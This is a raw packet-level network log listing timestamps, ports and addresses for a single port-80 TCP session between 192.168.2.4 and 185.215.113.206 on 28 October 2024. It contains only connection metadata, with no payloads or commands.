Oct 28, 2024 08:17:35.650209904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650242090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650250912 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650252104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650275946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650288105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650309086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650343895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650343895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650495052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650547981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650547981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650583982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650600910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650626898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650635004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650669098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650682926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650702953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650744915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650744915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689611912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689662933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689697027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689723015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689723015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689748049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689759016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689783096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689826012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689826965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689835072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689870119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689902067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689935923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.689945936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689945936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689954042 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.689970016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.690020084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.690020084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.767764091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.767824888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.767853975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.767884970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.767904997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.767910004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.767916918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.767990112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768018961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768026114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768029928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768060923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768070936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768096924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768119097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768131971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768167973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768186092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768193007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768224001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768228054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768254995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768260002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768310070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768317938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768343925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768379927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768390894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768404961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768438101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768459082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768488884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768513918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768523932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768528938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768560886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768591881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768591881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768594980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768631935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768636942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768671989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768727064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768781900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768826962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768826962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768834114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768870115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768899918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768903971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.768929958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.768943071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769066095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769100904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769135952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769140005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769140959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769171000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769202948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769221067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769262075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769293070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769324064 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769326925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769364119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769375086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769375086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769432068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769483089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769517899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769542933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769551992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769572020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769586086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769610882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769618988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769661903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769661903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769733906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769768953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769789934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769804001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769843102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769850016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769850016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769879103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769901037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769915104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.769939899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769973040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.769973993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.770009041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.770019054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.770045042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.770051956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.770081997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.770088911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.770154953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809039116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809071064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809122086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809154034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809154034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809158087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809201002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809207916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809252977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809252977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809257030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809290886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809324980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809350014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809350014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809360027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809396029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809417963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809417963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809428930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809463024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.809472084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809545040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.809814930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.855199099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.855233908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.855268002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.855479956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887391090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887443066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887478113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887512922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887546062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887579918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887615919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887617111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887634993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887667894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887671947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887706995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887715101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887715101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887758970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887794971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887803078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887803078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887829065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887857914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887864113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887896061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887928963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887964010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.887964964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.887975931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888000011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888036966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888041973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888062954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888073921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888112068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888122082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888122082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888199091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888246059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888246059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888276100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888329983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888334036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888365030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888381004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888396978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888432980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888438940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888438940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888484955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888485909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888520956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888570070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888570070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888572931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888608932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888641119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888657093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888657093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888679028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888689041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888714075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888742924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888771057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888772011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888804913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888839960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888854980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888854980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888875961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888907909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888911009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888931036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888947964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.888964891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.888982058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889017105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889034986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889056921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889111996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889141083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889147997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889195919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889195919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889236927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889271975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889301062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889313936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889326096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889360905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889379025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889394999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889429092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889437914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889437914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889463902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889481068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889493942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.889539003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.889539003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.928777933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.928833008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.928870916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.928870916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.928899050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.928917885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.928927898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.928977966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.928982973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929018021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929044962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929053068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929094076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929094076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929109097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929142952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929177046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929183960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929183960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929210901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929245949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929245949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929246902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929280996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.929302931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.929323912 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.974643946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.974703074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.974706888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.974737883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.974776030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.974812031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007302046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007363081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007375002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007411957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007457972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007457972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007464886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007499933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007523060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007553101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007559061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007587910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007611036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007637978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007658005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007714033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007724047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007747889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007777929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007792950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007792950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007812977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007842064 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007848978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007863045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007900000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007946968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007946968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.007951021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.007986069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008019924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008022070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008022070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008055925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008090019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008100986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008100986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008122921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008143902 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008158922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008193016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:36.008204937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008204937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:36.008229017 CET	80	49766	185.215.113.206	192.168.2.4
